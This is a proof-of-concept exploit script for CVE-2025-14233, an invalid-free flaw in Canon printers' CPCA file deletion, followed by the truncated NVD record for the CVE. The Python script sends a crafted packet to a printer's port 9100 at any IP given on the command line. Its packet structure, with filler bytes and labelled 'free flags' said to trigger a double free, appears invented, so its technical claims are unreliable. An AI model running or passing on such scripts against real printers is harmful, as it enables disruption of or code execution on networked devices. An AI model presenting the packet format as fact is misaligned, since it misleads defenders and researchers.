CVE-2025-14233

// CVE-2025-14233 PoC - Invalid Free in CPCA File Deletion // This PoC demonstrates the vulnerability in Canon printer CPCA file handling // Target: Canon printers with firmware v06.02 and earlier import socket import struct import time def create_malicious_cpc_packet(): """ Create a malicious CPCA packet to trigger Invalid Free The packet structure exploits the file deletion processing """ # CPCA Header header = b'\x43\x50\x43\x41' # 'CPCA' magic bytes version = b'\x01\x00' # Command: File Delete Operation cmd_type = b'\x00\x04' # Malicious payload that triggers double-free condition # The file handle is manipulated to cause invalid memory release payload = b'\x41' * 256 payload += struct.pack('<I', 0x41414141) # Manipulated file handle payload += struct.pack('<I', 0x00000000) # Trigger flag for deletion payload += b'\x00' * 64 # Crafted data that causes the same memory to be freed twice exploit_data = b'\x42' * 128 exploit_data += struct.pack('<I', 0x00000001) # First free flag exploit_data += b'\x00' * 32 exploit_data += struct.pack('<I', 0x00000001) # Second free flag (triggers double-free) packet = header + version + cmd_type + payload + exploit_data return packet def exploit_canon_printer(target_ip, target_port=9100): """ Send malicious CPCA packet to trigger the Invalid Free vulnerability """ print(f"[*] Targeting Canon Printer: {target_ip}:{target_port}") print("[*] Crafting malicious CPCA packet...") packet = create_malicious_cpc_packet() try: print("[*] Sending exploit packet...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) print("[+] Packet sent successfully") print("[*] Waiting for response...") time.sleep(2) response = sock.recv(1024) if response: print(f"[+] Received response: {len(response)} bytes") sock.close() print("[*] Exploitation attempt completed") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-14233.py <target_ip>") sys.exit(1) target = sys.argv[1] exploit_canon_printer(target)

{"cve": {"id": "CVE-2025-14233", "sourceIdentifier": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "published": "2026-01-16T00:16:27.597", "lastModified": "2026-01-26T15:10:56.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Invalid free in CPCA file deletion processing on Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe."}, {"lang": "es", "value": "Liberación de memoria no válida en el procesamiento de eliminación de archivos CPCA en impresoras multifunción para pequeñas oficinas e impresoras láser(*) lo que podría permitir a un atacante en el segmento de red activar que el producto afectado deje de responder o ejecutar código arbitrario. *: firmware v06.02 y anteriores de las series Satera LBP670C/Satera MF750C vendidos en Japón. firmware v06.02 y anteriores de las series Color imageCLASS LBP630C/Color imageCLASS MF650C/imageCLASS LBP230/imageCLASS X LBP1238 II/imageCLASS MF450/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II vendidos en EE. UU. firmware v06.02 y anteriores de las series i-SENSYS LBP630C/i-SENSYS MF650C/i-SENSYS LBP230/1238P II/1238Pr II/i-SENSYS MF450/i-SENSYS MF550/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II vendidos en Europa."}], "metrics": {"cvssMetricV40": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-763"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf455dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "E97C016E-CE05-4F54-B4F6-CB44451E7025"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon:mf455dw:-:*:*:*:*:*:*:*", "matchCriteriaId": "376C5E10-0D6C-405D-BC63-BDE7257A8142"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf453dw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "A65134F0-B34B-42BF-B0DD-3ED5DFB0EB08"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:cano ... 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